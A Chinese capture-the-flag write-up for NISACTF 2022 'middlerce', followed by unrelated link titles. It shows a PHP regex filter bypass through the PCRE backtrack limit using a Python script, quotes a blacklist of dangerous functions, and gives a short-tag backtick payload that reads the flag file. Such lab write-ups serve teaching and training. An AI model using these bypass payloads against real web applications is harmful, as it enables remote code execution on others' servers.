NSS [NISACTF 2022]middlerce

NSS NISACTF 2022middlerce

开题,直接给了源码。

由语句$command = json_decode($txw4ever,true)['cmd'];可得,$txw4ever一定是json格式的数据,但是,preg_match()函数却过滤了{,同时.*贪婪匹配后又匹配括号里的字符,最后再.*后结束。看似无懈可击的过滤,其实可以使用PCRE回溯次数限制绕过

PHP为了防止正则表达式的拒绝服务攻击(reDOS),给pcre设定了一个回溯次数上限pcre.backtrack_limit默认1000000,超过1000000不会返回1或0而是false即超过限制即可。

$_REQUEST可以接收GET和POST数据,由于GET不适合发太长的请求,这里我们选择用POST。

payload生成脚本:

python 复制代码
import requests

payload = '{"cmd":"cmd", "a":"'+'#'*1000000+'"}'
res = requests.post("http://node4.anna.nssctf.cn:28035/",data = {"letter":payload})
print(res.text)

脚本发个包,发现没有返回再加把油喔,说明preg_match()函数被成功绕过了。

然后就是考虑【命令】如何绕过checkdata()函数检测的问题了。

checkdata()函数的正则过滤如下:

php 复制代码
/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i

这题是黑盒,也可以自己fuzz,结果不变。

过滤的很死,依靠函数执行命令行不通了。那么命令执行我们就采用短标签+反引号。

复制代码
?><?= `nl /f*`?>

解释一下,<?=?>则是相当于<? echo>,payload最前面?>用于闭合,payload后面一部分相当于echo+反引号执行命令。

成功得到flag。

相关推荐
我是乌鸦的空间6 小时前
什么是网络安全中的电子数据取证与响应?
网络·网络安全
网安蟹佬霸7 小时前
WAF绕过技术实战:从规则检测到编码绕过全指南(2026最新版,附Payload集与自动化脚本)
运维·安全·网络安全·架构·自动化·网安
那年窗外下的雪.8 小时前
AIDC 学习日志|第 15 天|EVPN 多归属故障收敛与撤销机制
网络·学习·php
数据知道9 小时前
移动端渗透测试流程:Android APK 逆向与动态调试
android·web安全·网络安全
点我头像干啥10 小时前
004:多个PDF文件合并
开发语言·pdf·php
AC赳赳老秦11 小时前
企业级合规审计体系:用 OpenClaw 落地采集全链路留痕,自动生成合规审计报告
java·python·django·beautifulsoup·php·deepseek·openclaw
电子科技圈11 小时前
Semtech将于2026年国际物联网展(IOTE 2026)举办 LoRa®全球生态论坛
物联网·网络安全·健康医疗·制造·零售·iot·交通物流
IPdodo_11 小时前
代理 IP 服务商 SLA 怎么验?7 项指标与 Python 探测脚本实战
运维·python·网络协议·网络安全·代理ip
2501_9160088914 小时前
iOS App 请求地址查看,不用配置看到 App 调了哪些接口
网络协议·计算机网络·网络安全·ios·adb·https·udp
数字护盾(和中)14 小时前
和中科技剖析 EDR 绕过全链路,AMSI、ETW 规避技术与防御对策
运维·网络·人工智能·科技·安全·web安全